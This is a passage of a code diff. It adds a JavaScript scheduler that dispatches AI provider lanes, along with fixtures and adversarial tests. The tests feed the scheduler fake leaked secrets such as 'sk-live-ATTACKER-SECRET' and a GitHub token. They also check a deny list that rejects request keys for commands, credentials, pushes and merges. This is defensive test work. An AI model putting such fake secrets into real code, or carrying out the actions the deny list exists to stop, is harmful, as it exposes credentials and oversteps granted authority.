`${path}.starting_ref`, + CONTENT_FREE.cloud_starting_ref_required); + } + const startingRef = ownDataValue(assignment, 'starting_ref', `${path}.starting_ref`); + if (!isSha40(startingRef)) { + failScheduler('invalid_format', `${path}.starting_ref`, CONTENT_FREE.invalid_format); + } + return startingRef; + } + return null; +} + +function parseAssignment(assignment, index) { + const path = `assignments[${index}]`; + assertNotProxy(assignment, path); + if (typeof assignment !== 'object' || assignment === null || ARRAY_IS_ARRAY(assignment)) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + assertClosedKeySet(assignment, RUN_SCHEDULER_ASSIGNMENT_KEYS, path); + const assignmentId = requiredString(assignment, 'assignment_id', `${path}.assignment_id`, isAssignmentId); + const taskId = assertTaskId( + requiredString(assignment, 'task_id', `${path}.task_id`), + `${path}.task_id`, + ); + const role = requiredString(assignment, 'role', `${path}.role`); + if (!isKnownRole(role)) failScheduler('unknown_role', `${path}.role`, CONTENT_FREE.unknown_role); + const access = requiredString(assignment, 'access', `${path}.access`); + if (!isKnownAccess(access)) failScheduler('unknown_access', `${path}.access`, CONTENT_FREE.unknown_access); + if (requiredAccessForRole(role) !== access) { + failScheduler('role_access_mismatch', `${path}.access`, CONTENT_FREE.role_access_mismatch); + } + const provider = requiredString(assignment, 'provider', `${path}.provider`); + if (!isKnownProvider(provider)) { + failScheduler('unknown_provider', `${path}.provider`, + `assignments[${index}].provider is not one of ${knownProvidersJoined()}.`); + } + const model = requiredString(assignment, 'model', `${path}.model`, isModelId); + if (!hasOwn(assignment, 'required')) { + failScheduler('missing_key', `${path}.required`, CONTENT_FREE.missing_key); + } + const required = ownDataValue(assignment, 'required', `${path}.required`); + if (required !== true && required !== false) { + failScheduler('invalid_type', `${path}.required`, CONTENT_FREE.invalid_type); + } + const writeScope = parseWriteScope(assignment, access, path); + const startingRef = parseStartingRef(assignment, provider, path); + return { + assignment_id: assignmentId, + task_id: taskId, + role, + access, + provider, + model, + required, + write_scope: writeScope, + starting_ref: startingRef, + status: 'dispatched', + dispatched: false, + cursor: '0', + attention: null, + unresolved: null, + cancel_confirmed: null, + }; +} + +function parseAssignments(value) { + if (!ARRAY_IS_ARRAY(value) || IS_PROXY(value)) { + failScheduler('invalid_type', 'assignments', CONTENT_FREE.invalid_type); + } + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failScheduler('out_of_range', 'assignments', CONTENT_FREE.out_of_range); + } + const parsed = []; + const assignmentIds = new Set(); + const taskIds = new Set(); + const writers = []; + for (let index = 0; index < value.length; index += 1) { + const lane = parseAssignment(value[index], index); + if (assignmentIds.has(lane.assignment_id)) { + failScheduler('duplicate_assignment_id', `assignments[${index}].assignment_id`, + CONTENT_FREE.duplicate_assignment_id); + } + if (taskIds.has(lane.task_id)) { + failScheduler('duplicate_task_id', `assignments[${index}].task_id`, + CONTENT_FREE.duplicate_task_id); + } + assignmentIds.add(lane.assignment_id); + taskIds.add(lane.task_id); + if (lane.access === 'writer') { + writers.push({ + assignment_id: lane.assignment_id, + index, + patterns: lane.write_scope, + }); + } + parsed.push(lane); + } + for (let left = 0; left < writers.length; left += 1) { + for (let right = left + 1; right < writers.length; right += 1) { + const leftWriter = writers[left]; + const rightWriter = writers[right]; + for (let leftIndex = 0; leftIndex < leftWriter.patterns.length; leftIndex += 1) { + for (let rightIndex = 0; rightIndex < rightWriter.patterns.length; rightIndex += 1) { + if (writerScopesOverlap(leftWriter.patterns[leftIndex], rightWriter.patterns[rightIndex])) { + failScheduler( + 'overlapping_writer_scope', + `assignments[${leftWriter.index}].write_scope`, + CONTENT_FREE.overlapping_writer_scope, + ); + } + } + } + } + } + return parsed; +} + +function parseIdList(value, path, knownIds) { + if (value === undefined) return null; + if (!ARRAY_IS_ARRAY(value) || IS_PROXY(value)) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failScheduler('out_of_range', path, CONTENT_FREE.out_of_range); + } + const ids = []; + const seen = new Set(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${path}[${index}]`; + const assignmentId = value[index]; + if (!isAssignmentId(assignmentId)) { + failScheduler('invalid_format', entryPath, CONTENT_FREE.invalid_format); + } + if (seen.has(assignmentId)) { + failScheduler('duplicate_assignment_id', entryPath, CONTENT_FREE.duplicate_assignment_id); + } + if (knownIds && !knownIds.has(assignmentId)) { + failScheduler('assignment_id_unknown', entryPath, CONTENT_FREE.assignment_id_unknown); + } + seen.add(assignmentId); + ids.push(assignmentId); + } + return ids; +} + +function parseCursors(value, lanesById) { + if (value === undefined) return new Map(); + if (!ARRAY_IS_ARRAY(value) || IS_PROXY(value)) { + failScheduler('invalid_type', 'cursors', CONTENT_FREE.invalid_type); + } + if (value.length === 0) return new Map(); + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failScheduler('out_of_range', 'cursors', CONTENT_FREE.out_of_range); + } + const cursors = new Map(); + for (let index = 0; index < value.length; index += 1) { + const path = `cursors[${index}]`; + const entry = value[index]; + assertNotProxy(entry, path); + if (typeof entry !== 'object' || entry === null || ARRAY_IS_ARRAY(entry)) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + assertClosedKeySet(entry, RUN_SCHEDULER_CURSOR_KEYS, path); + const assignmentId = requiredString(entry, 'assignment_id', `${path}.assignment_id`, isAssignmentId); + const taskId = assertTaskId(requiredString(entry, 'task_id', `${path}.task_id`), `${path}.task_id`); + const eventCursor = assertEventCursor( + requiredString(entry, 'event_cursor', `${path}.event_cursor`), + `${path}.event_cursor`, + ); + const lane = lanesById.get(assignmentId); + if (!lane || lane.task_id !== taskId) { + failScheduler('cursor_identity_mismatch', path, CONTENT_FREE.cursor_identity_mismatch); + } + if (cursors.has(assignmentId)) { + failScheduler('duplicate_assignment_id', `${path}.assignment_id`, CONTENT_FREE.duplicate_assignment_id); + } + cursors.set(assignmentId, eventCursor); + } + return cursors; +} + +function pickOwn(object, key) { + if (object === null || typeof object !== 'object' || IS_PROXY(object)) return undefined; + if (!capturedHasOwn(object, key)) return undefined; + const descriptor = Object.getOwnPropertyDescriptor(object, key); + if (!descriptor || descriptor.get !== undefined || descriptor.set !== undefined) return undefined; + return descriptor.value; +} + +function boundText(value, maxBytes) { + if (typeof value !== 'string') return null; + if (capturedUtf8ByteLength(value) > maxBytes) return null; + return value; +} + +function boundOptions(value) { + if (!ARRAY_IS_ARRAY(value) || IS_PROXY(value)) return null; + const options = []; + const limit = Math.min(value.length, MAX_SCHEDULER_ATTENTION_OPTIONS); + for (let index = 0; index < limit; index += 1) { + const option = boundText(value[index], MAX_SCHEDULER_ATTENTION_OPTION_BYTES); + if (option === null) continue; + options.push(option); + } + return options.length === 0 ? null : options; +} + +function projectAttention(raw, provider) { + if (raw === undefined || raw === null) return { attention: null, invalid: false }; + if (typeof raw !== 'object' || ARRAY_IS_ARRAY(raw) || IS_PROXY(raw)) { + return { attention: null, invalid: true }; + } + const sessionId = pickOwn(raw, 'session_id'); + const questionId = pickOwn(raw, 'question_id'); + if (typeof sessionId !== 'string' || !capturedTest(SESSION_ID_PATTERN, sessionId) + || typeof questionId !== 'string' || !capturedTest(QUESTION_ID_PATTERN, questionId)) { + return { attention: null, invalid: true }; + } + return { + attention: { + session_id: sessionId, + question_id: questionId, + prompt: boundText(pickOwn(raw, 'prompt'), MAX_SCHEDULER_ATTENTION_PROMPT_BYTES), + options: boundOptions(pickOwn(raw, 'options')), + reply_capability: expectedReplyCapability(provider), + }, + invalid: false, + }; +} + +function mapInspectStatus(value) { + if (typeof value !== 'string') return null; + if (!capturedHasOwn(INSPECT_STATUS_MAP, value)) return null; + return INSPECT_STATUS_MAP[value]; +} + +function setUnresolved(lane, code) { + if (lane.unresolved === null) { + lane.unresolved = { assignment_id: lane.assignment_id, code, required: lane.required }; + } + if (code !== 'safe_cancel_unconfirmed' && lane.status !== 'cancelled') { + lane.status = 'unresolved'; + } +} + +function delegatePlan(record, lane) { + return freezeData({ + access: lane.access, + assignment_id: lane.assignment_id, + model: lane.model, + provider: lane.provider, + required: lane.required, + role: lane.role, + run_id: record.run_id, + starting_ref: lane.starting_ref, + task_id: lane.task_id, + write_scope: [...lane.write_scope], + }); +} + +function inspectPlan(record, lane, cursor) { + return freezeData({ + assignment_id: lane.assignment_id, + cursor, + run_id: record.run_id, + task_id: lane.task_id, + }); +} + +function cancelPlan(record, lane) { + return freezeData({ + assignment_id: lane.assignment_id, + run_id: record.run_id, + task_id: lane.task_id, + }); +} + +async function dispatchLane(delegateTask, record, lane) { + let result; + try { + result = await delegateTask(delegatePlan(record, lane)); + } catch { + setUnresolved(lane, 'dispatch_failed'); + return; + } + if (result === null || typeof result !== 'object' || ARRAY_IS_ARRAY(result) || IS_PROXY(result)) { + setUnresolved(lane, 'identity_mismatch'); + return; + } + const taskId = pickOwn(result, 'task_id'); + if (taskId !== lane.task_id) { + setUnresolved(lane, 'identity_mismatch'); + return; + } + const cursor = pickOwn(result, 'cursor'); + if (cursor !== undefined) { + if (typeof cursor !== 'string' || !capturedTest(EVENT_CURSOR_PATTERN, cursor)) { + setUnresolved(lane, 'identity_mismatch'); + return; + } + lane.cursor = cursor; + } + const status = mapInspectStatus(pickOwn(result, 'status')); + lane.dispatched = true; + lane.status = status ?? 'dispatched'; +} + +async function inspectLane(inspectTask, record, lane, requestedCursor) { + if (!lane.dispatched) return; + if (lane.status === 'cancelled') { + setUnresolved(lane, 'restart_denied_no_replay'); + lane.status = 'cancelled'; + return; + } + if (isTerminalStatus(lane.status) && lane.status !== 'needs_attention') return; + let result; + try { + result = await inspectTask(inspectPlan(record, lane, requestedCursor ?? lane.cursor)); + } catch { + setUnresolved(lane, 'inspect_failed'); + return; + } + if (result === null || typeof result !== 'object' || ARRAY_IS_ARRAY(result) || IS_PROXY(result)) { + setUnresolved(lane, 'inspect_failed'); + return; + } + if (pickOwn(result, 'task_id') !== lane.task_id) { + setUnresolved(lane, 'identity_mismatch'); + return; + } + const cursor = pickOwn(result, 'cursor'); + if (typeof cursor === 'string' && capturedTest(EVENT_CURSOR_PATTERN, cursor)) { + lane.cursor = cursor; + } + const mapped = mapInspectStatus(pickOwn(result, 'status')); + if (mapped !== null) lane.status = mapped; + const projected = projectAttention(pickOwn(result, 'attention'), lane.provider); + if (projected.invalid) { + setUnresolved(lane, 'attention_evidence_invalid'); + return; + } + lane.attention = projected.attention; + if (projected.attention !== null && projected.attention.reply_capability === 'unsupported') { + setUnresolved(lane, 'same_session_reply_unsupported'); + } +} + +async function cancelLane(cancelTask, record, lane) { + if (!lane.dispatched) { + lane.status = 'cancelled'; + lane.cancel_confirmed = true; + return { called: false, confirmed: true }; + } + if (lane.status === 'cancelled' && lane.cancel_confirmed === true) { + return { called: false, confirmed: true }; + } + if (isTerminalStatus(lane.status) && lane.status !== 'unresolved' && lane.status !== 'needs_attention') { + return { called: false, confirmed: lane.status === 'cancelled' }; + } + let result; + try { + result = await cancelTask(cancelPlan(record, lane)); + } catch { + lane.cancel_confirmed = false; + setUnresolved(lane, 'safe_cancel_unconfirmed'); + return { called: true, confirmed: false }; + } + const confirmed = result !== null && typeof result === 'object' && !ARRAY_IS_ARRAY(result) + && !IS_PROXY(result) + && pickOwn(result, 'task_id') === lane.task_id + && pickOwn(result, 'cancelled') === true; + if (!confirmed) { + lane.cancel_confirmed = false; + setUnresolved(lane, 'safe_cancel_unconfirmed'); + return { called: true, confirmed: false }; + } + lane.status = 'cancelled'; + lane.cancel_confirmed = true; + lane.attention = null; + if (lane.unresolved !== null && lane.unresolved.code === 'safe_cancel_unconfirmed') { + lane.unresolved = null; + } + return { called: true, confirmed: true }; +} + +function assertInjectedFunction(dependencies, key) { + const path = key; + if (!hasOwn(dependencies, key)) { + failScheduler('injected_dependency_invalid', path, CONTENT_FREE.injected_dependency_invalid); + } + const value = ownDataValue(dependencies, key, path); + if (typeof value !== 'function' || IS_PROXY(value)) { + failScheduler('injected_dependency_invalid', path, CONTENT_FREE.injected_dependency_invalid); + } + return value; +} + +function parseDependencies(dependencies) { + if (dependencies === undefined || dependencies === null) { + failScheduler('injected_dependency_invalid', 'dependencies', CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(dependencies, 'dependencies'); + if (typeof dependencies !== 'object' || ARRAY_IS_ARRAY(dependencies)) { + failScheduler('injected_dependency_invalid', 'dependencies', CONTENT_FREE.injected_dependency_invalid); + } + let keys; + try { + keys = REFLECT_OWN_KEYS(dependencies); + } catch { + failScheduler('injected_dependency_invalid', 'dependencies', CONTENT_FREE.injected_dependency_invalid); + } + for (const key of keys) { + if (typeof key !== 'string') { + failScheduler('symbol_key_denied', 'dependencies', CONTENT_FREE.symbol_key_denied); + } + if (!capturedIncludes(RUN_SCHEDULER_DEPENDENCY_KEYS, key)) { + failScheduler('unknown_key', `dependencies.${key}`, CONTENT_FREE.unknown_key); + } + } + return capturedFreeze({ + delegateTask: assertInjectedFunction(dependencies, 'delegateTask'), + inspectTask: assertInjectedFunction(dependencies, 'inspectTask'), + cancelTask: assertInjectedFunction(dependencies, 'cancelTask'), + clock: assertInjectedFunction(dependencies, 'clock'), + }); +} + +function enqueue(queues, runId, work) { + const current = queues.get(runId) ?? Promise.resolve(); + const next = current.then(work, work); + queues.set(runId, next.catch(() => {})); + return next; +} + +export function describeRunSchedulerV1() { + return freezeData({ + schema: RUN_SCHEDULER_SCHEMA_ID, + version: RUN_SCHEDULER_VERSION, + receipt_schema: RUN_SCHEDULER_RECEIPT_SCHEMA_ID, + methods: RUN_SCHEDULER_METHODS, + dependencies: RUN_SCHEDULER_DEPENDENCY_KEYS, + statuses: RUN_SCHEDULER_STATUSES, + lane_statuses: RUN_SCHEDULER_LANE_STATUSES, + unresolved_codes: RUN_SCHEDULER_UNRESOLVED_CODES, + checks: RUN_SCHEDULER_CHECKS, + side_effects: RUN_SCHEDULER_SIDE_EFFECTS, + error_codes: RUN_SCHEDULER_ERROR_CODES, + bounds: capturedFreeze({ + assignments: capturedFreeze({ min: MIN_ASSIGNMENTS, max: MAX_ASSIGNMENTS }), + attention_prompt_bytes: MAX_SCHEDULER_ATTENTION_PROMPT_BYTES, + attention_options: MAX_SCHEDULER_ATTENTION_OPTIONS, + }), + rule: 'one_submission_idempotent_1_to_8_fanout_no_replay', + wake: false, + remote_mutated: false, + ownership: capturedFreeze({ + scheduler: 'in-memory one-submission fanout, exact identity, disjoint writers, read-only verifiers, bounded attention/cancel/restart/cursor evidence', + injected: 'delegateTask, inspectTask, cancelTask, clock', + forbidden: capturedFreeze([ + 'run_runtime', + 'artifact_bridge', + 'lifecycle', + 'supervisor', + 'server', + 'candidate_composition', + 'mailbox', + 'provider_driver', + 'task_store', + 'changelog', + 'future_work', + 'gate_a', + 'release', + ]), + }), + composed_surfaces: capturedFreeze({ + run_runtime: 'not imported; later P33 runtime injects this scheduler', + artifact_bridge: 'not imported', + lifecycle: 'not imported', + attention_batch: 'not imported; this surface only records bounded attention evidence', + public_api: 'not exposed', + gate_a: 'not claimed', + }), + }); +} + +export function createRunScheduler(dependencies) { + const injected = parseDependencies(dependencies); + const runs = new Map(); + const queues = new Map(); + + async function submitAssignments(request) { + const parsed = quarantineRequest(request, 'request', RUN_SCHEDULER_SUBMIT_KEYS); + if (!hasOwn(parsed, 'run_id')) failScheduler('missing_key', 'run_id', CONTENT_FREE.missing_key); + if (!hasOwn(parsed, 'base_sha')) failScheduler('missing_key', 'base_sha', CONTENT_FREE.missing_key); + if (!hasOwn(parsed, 'assignments')) failScheduler('missing_key', 'assignments', CONTENT_FREE.missing_key); + const runId = ownDataValue(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + const baseSha = ownDataValue(parsed, 'base_sha', 'base_sha'); + assertBaseSha(baseSha, 'base_sha'); + const lanes = parseAssignments(ownDataValue(parsed, 'assignments', 'assignments')); + const digest = identityDigest(runId, baseSha, lanes); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const existing = runs.get(runId); + if (existing) { + if (existing.digest !== digest) { + failScheduler('scheduler_run_conflict', 'run_id', CONTENT_FREE.scheduler_run_conflict); + } + return receiptFor(existing, { + status: 'idempotent', created: false, dispatched: false, observedAt, + }); + } + const record = { + run_id: runId, + base_sha: baseSha, + digest, + lanes, + }; + runs.set(runId, record); + await Promise.all(lanes.map((lane) => dispatchLane(injected.delegateTask, record, lane))); + const dispatchedCount = lanes.reduce((count, lane) => count + (lane.dispatched ? 1 : 0), 0); + const failed = lanes.some((lane) => !lane.dispatched); + return receiptFor(record, { + status: failed ? 'partial' : 'dispatched', + created: true, + dispatched: dispatchedCount > 0, + observedAt, + }); + }); + } + + async function resumeAssignments(request) { + const parsed = quarantineRequest(request, 'request', RUN_SCHEDULER_RESUME_KEYS); + if (!hasOwn(parsed, 'run_id')) failScheduler('missing_key', 'run_id', CONTENT_FREE.missing_key); + const runId = ownDataValue(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = runs.get(runId); + if (!record) failScheduler('scheduler_run_unknown', 'run_id', CONTENT_FREE.scheduler_run_unknown); + const knownIds = new Set(record.lanes.map((lane) => lane.assignment_id)); + const lanesById = new Map(record.lanes.map((lane) => [lane.assignment_id, lane])); + const selected = parseIdList(optionalOwn(parsed, 'assignment_ids', 'assignment_ids'), 'assignment_ids', knownIds) + ?? [...knownIds]; + const cursors = parseCursors(optionalOwn(parsed, 'cursors', 'cursors'), lanesById); + for (const assignmentId of cursors.keys()) { + if (!selected.includes(assignmentId)) { + failScheduler('cursor_identity_mismatch', 'cursors', CONTENT_FREE.cursor_identity_mismatch); + } + } + const targets = record.lanes.filter((lane) => selected.includes(lane.assignment_id)); + await Promise.all(targets.map(async (lane) => { + await inspectLane(injected.inspectTask, record, lane, cursors.get(lane.assignment_id)); + if (lane.unresolved !== null && lane.unresolved.code === 'same_session_reply_unsupported') { + await cancelLane(injected.cancelTask, record, lane); + } + })); + return receiptFor(record, { + status: 'inspected', created: false, dispatched: false, observedAt, + }); + }); + } + + async function cancelAssignments(request) { + const parsed = quarantineRequest(request, 'request', RUN_SCHEDULER_CANCEL_KEYS); + if (!hasOwn(parsed, 'run_id')) failScheduler('missing_key', 'run_id', CONTENT_FREE.missing_key); + if (!hasOwn(parsed, 'assignment_ids')) { + failScheduler('missing_key', 'assignment_ids', CONTENT_FREE.missing_key); + } + const runId = ownDataValue(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = runs.get(runId); + if (!record) failScheduler('scheduler_run_unknown', 'run_id', CONTENT_FREE.scheduler_run_unknown); + const knownIds = new Set(record.lanes.map((lane) => lane.assignment_id)); + const selected = parseIdList( + ownDataValue(parsed, 'assignment_ids', 'assignment_ids'), + 'assignment_ids', + knownIds, + ); + const targets = record.lanes.filter((lane) => selected.includes(lane.assignment_id)); + let called = false; + await Promise.all(targets.map(async (lane) => { + const result = await cancelLane(injected.cancelTask, record, lane); + if (result.called) called = true; + })); + return receiptFor(record, { + status: 'cancelled', created: false, cancelled: called, observedAt, + }); + }); + } + + return capturedFreeze({ + submitAssignments, + resumeAssignments, + cancelAssignments, + }); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs new file mode 100644 index 0000000..ee9ba66 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs @@ -0,0 +1,250 @@ +// Neutral builders and scoped task stubs for RunSchedulerV1 tests. +// Tests own the assertions. Nothing here ranks, defaults, or substitutes +// a provider, and the stubs never import supervisor, server, runtime, +// artifact, lifecycle, or candidate surfaces. + +import { + createRunScheduler, +} from '../../mcp/v3/run-scheduler.mjs'; + +export const RUN_ID = 'run-scheduler-main'; +export const BASE_SHA = '9e4d3cbdb1175f92da9979a7125e29e43b9aa699'; +export const OTHER_BASE_SHA = 'ce174375ee7e0c83b3db4f874e88edbf932649ee'; +export const ASSIGNMENT_A = 'lane-alpha'; +export const ASSIGNMENT_B = 'lane-beta'; +export const ASSIGNMENT_C = 'lane-verify'; +export const TASK_A = 'task-alpha'; +export const TASK_B = 'task-beta'; +export const TASK_C = 'task-verify'; +export const NOW = '2026-08-25T22:12:00.000Z'; +export const HOSTILE_SECRET = 'sk-live-ATTACKER-SECRET'; +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_TOKEN = 'github_pat_hostile'; + +export function writerAssignment({ + assignmentId = ASSIGNMENT_A, + taskId = TASK_A, + provider = 'grok', + model = 'grok-4', + writeScope = ['src/alpha/**'], + required = true, + startingRef, +} = {}) { + const assignment = { + assignment_id: assignmentId, + task_id: taskId, + role: 'implement', + access: 'writer', + provider, + model, + write_scope: writeScope, + required, + }; + if (startingRef !== undefined) assignment.starting_ref = startingRef; + return assignment; +} + +export function verifierAssignment({ + assignmentId = ASSIGNMENT_C, + taskId = TASK_C, + provider = 'cursor-local', + model = 'composer-1', + role = 'verify', + required = true, +} = {}) { + return { + assignment_id: assignmentId, + task_id: taskId, + role, + access: 'read_only', + provider, + model, + write_scope: [], + required, + }; +} + +export function reviewerAssignment(overrides = {}) { + return verifierAssignment({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + provider: 'grok', + model: 'grok-4', + role: 'review', + ...overrides, + }); +} + +export function twoWriterRequest(overrides = {}) { + return { + run_id: overrides.runId ?? RUN_ID, + base_sha: overrides.baseSha ?? BASE_SHA, + assignments: overrides.assignments ?? [ + writerAssignment(), + writerAssignment({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + writeScope: ['src/beta/**'], + provider: 'cursor-local', + model: 'composer-1', + }), + ], + }; +} + +export function mixedLaneRequest(overrides = {}) { + return { + run_id: overrides.runId ?? RUN_ID, + base_sha: overrides.baseSha ?? BASE_SHA, + assignments: overrides.assignments ?? [ + writerAssignment(), + writerAssignment({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + writeScope: ['src/beta/**'], + provider: 'dsh', + model: 'muse-spark-1.2-contributor', + }), + verifierAssignment(), + ], + }; +} + +export function eightLaneRequest(overrides = {}) { + const assignments = []; + for (let index = 0; index < 8; index += 1) { + assignments.push(writerAssignment({ + assignmentId: `lane-${String(index).padStart(2, '0')}`, + taskId: `task-${String(index).padStart(2, '0')}`, + writeScope: [`src/area-${index}/**`], + })); + } + return { + run_id: overrides.runId ?? RUN_ID, + base_sha: overrides.baseSha ?? BASE_SHA, + assignments, + }; +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function createScopedStubs(options = {}) { + const delegateCalls = []; + const inspectCalls = []; + const cancelCalls = []; + const tasks = new Map(); + const failDelegateFor = new Set(options.failDelegateFor ?? []); + const mismatchDelegateFor = new Set(options.mismatchDelegateFor ?? []); + const failInspectFor = new Set(options.failInspectFor ?? []); + const failCancelFor = new Set(options.failCancelFor ?? []); + const attentionByTask = new Map(Object.entries(options.attentionByTask ?? {})); + const inspectStatusByTask = new Map(Object.entries(options.inspectStatusByTask ?? {})); + let cursorSeq = 0; + const now = options.now ?? NOW; + + const delegateTask = async (plan) => { + delegateCalls.push(plan); + if (failDelegateFor.has(plan.assignment_id)) { + throw new Error(`${HOSTILE_SECRET} injected delegate failure`); + } + if (mismatchDelegateFor.has(plan.assignment_id)) { + return { task_id: 'forged-task', cursor: '0', status: 'running' }; + } + const cursor = STRING_CURSOR(++cursorSeq); + const record = { + task_id: plan.task_id, + assignment_id: plan.assignment_id, + status: 'running', + cursor, + attention: attentionByTask.get(plan.task_id) ?? null, + }; + tasks.set(plan.task_id, record); + return { task_id: plan.task_id, cursor, status: 'running' }; + }; + + const inspectTask = async (plan) => { + inspectCalls.push(plan); + if (failInspectFor.has(plan.assignment_id)) { + throw new Error(`${HOSTILE_PATH} injected inspect failure`); + } + const record = tasks.get(plan.task_id); + if (!record) return { task_id: plan.task_id, status: 'failed', cursor: plan.cursor }; + if (inspectStatusByTask.has(plan.task_id)) { + record.status = inspectStatusByTask.get(plan.task_id); + } + const attention = attentionByTask.get(plan.task_id) ?? record.attention; + record.attention = attention; + const nextCursor = STRING_CURSOR(Number(record.cursor) + 8); + record.cursor = nextCursor; + return { + task_id: record.task_id, + status: record.status, + cursor: record.cursor, + attention, + }; + }; + + const cancelTask = async (plan) => { + cancelCalls.push(plan); + if (failCancelFor.has(plan.assignment_id)) { + throw new Error(`${HOSTILE_TOKEN} injected cancel failure`); + } + const record = tasks.get(plan.task_id); + if (record) { + record.status = 'cancelled'; + record.attention = null; + } + return { task_id: plan.task_id, cancelled: true }; + }; + + const clock = () => now; + + return { + delegateTask, + inspectTask, + cancelTask, + clock, + delegateCalls, + inspectCalls, + cancelCalls, + tasks, + scheduler: createRunScheduler({ delegateTask, inspectTask, cancelTask, clock }), + }; +} + +function STRING_CURSOR(value) { + return String(value); +} + +export function createScheduler(options = {}) { + return createScopedStubs(options); +} diff --git a/plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs new file mode 100644 index 0000000..df410a9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs @@ -0,0 +1,308 @@ +// P33 RunSchedulerV1 adversarial coverage: hostile containers, forbidden +// replay/fallback/merge/direct keys, identity drift, unconfirmed cancel, +// content-free failures, and injected stub isolation. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createRunScheduler } from '../mcp/v3/run-scheduler.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + BASE_SHA, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + RUN_ID, + TASK_A, + countingProxy, + createScopedStubs, + trapTotal, + twoWriterRequest, + writerAssignment, +} from './fixtures/r1-run-scheduler-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + const blob = `${error.message}\n${error.path ?? ''}\n${error.code}`; + assert.doesNotMatch(blob, /sk-live/u); + assert.doesNotMatch(blob, /ATTACKER-SECRET/u); + assert.doesNotMatch(blob, /github_pat/u); + assert.doesNotMatch(blob, /\/tmp\//u); +} + +test('proxies, symbols, accessors, and own undefined fail closed without traps', async () => { + const harness = createScopedStubs(); + const request = twoWriterRequest(); + const { proxy, counts } = countingProxy(request); + const proxied = await errorOf(() => harness.scheduler.submitAssignments(proxy)); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const symbolic = twoWriterRequest(); + Object.defineProperty(symbolic, Symbol('leak'), { value: HOSTILE_SECRET, enumerable: true }); + const symbolError = await errorOf(() => harness.scheduler.submitAssignments(symbolic)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError); + + const accessor = twoWriterRequest(); + Object.defineProperty(accessor, 'run_id', { + get() { throw new Error(HOSTILE_SECRET); }, + enumerable: true, + }); + const accessorError = await errorOf(() => harness.scheduler.submitAssignments(accessor)); + assert.ok(['accessor_property_denied', 'proxy_denied', 'invalid_object'].includes(accessorError.code)); + assertContentFree(accessorError); + + const undef = twoWriterRequest(); + undef.extra = undefined; + Object.defineProperty(undef, 'replay', { value: undefined, enumerable: true }); + const undefError = await errorOf(() => harness.scheduler.submitAssignments(undef)); + assert.ok(['own_undefined_denied', 'replay_or_fallback_denied', 'unknown_key'].includes(undefError.code)); + assert.equal(harness.delegateCalls.length, 0); +}); + +test('forbidden replay, fallback, merge, direct, and credential keys fail closed', async () => { + const cases = [ + ['fallback', 'replay_or_fallback_denied'], + ['replay', 'replay_or_fallback_denied'], + ['retry', 'replay_or_fallback_denied'], + ['depends_on', 'dependency_not_allowed'], + ['workspace_mode', 'direct_mode_denied'], + ['merge', 'merge_authority_denied'], + ['create_pr', 'merge_authority_denied'], + ['push', 'merge_authority_denied'], + ['argv', 'executable_content_denied'], + ['command', 'executable_content_denied'], + ['token', 'credential_content_denied'], + ['credentials', 'credential_content_denied'], + ]; + for (const [key, code] of cases) { + const harness = createScopedStubs(); + const request = twoWriterRequest(); + request[key] = key === 'workspace_mode' ? 'direct' : true; + const error = await errorOf(() => harness.scheduler.submitAssignments(request)); + assert.equal(error.code, code, key); + assertContentFree(error); + assert.equal(harness.delegateCalls.length, 0); + } +}); + +test('nested forbidden keys inside an assignment fail closed before dispatch', async () => { + const harness = createScopedStubs(); + const request = { + run_id: RUN_ID, + base_sha: BASE_SHA, + assignments: [{ + ...writerAssignment(), + retry: true, + }], + }; + const error = await errorOf(() => harness.scheduler.submitAssignments(request)); + assert.equal(error.code, 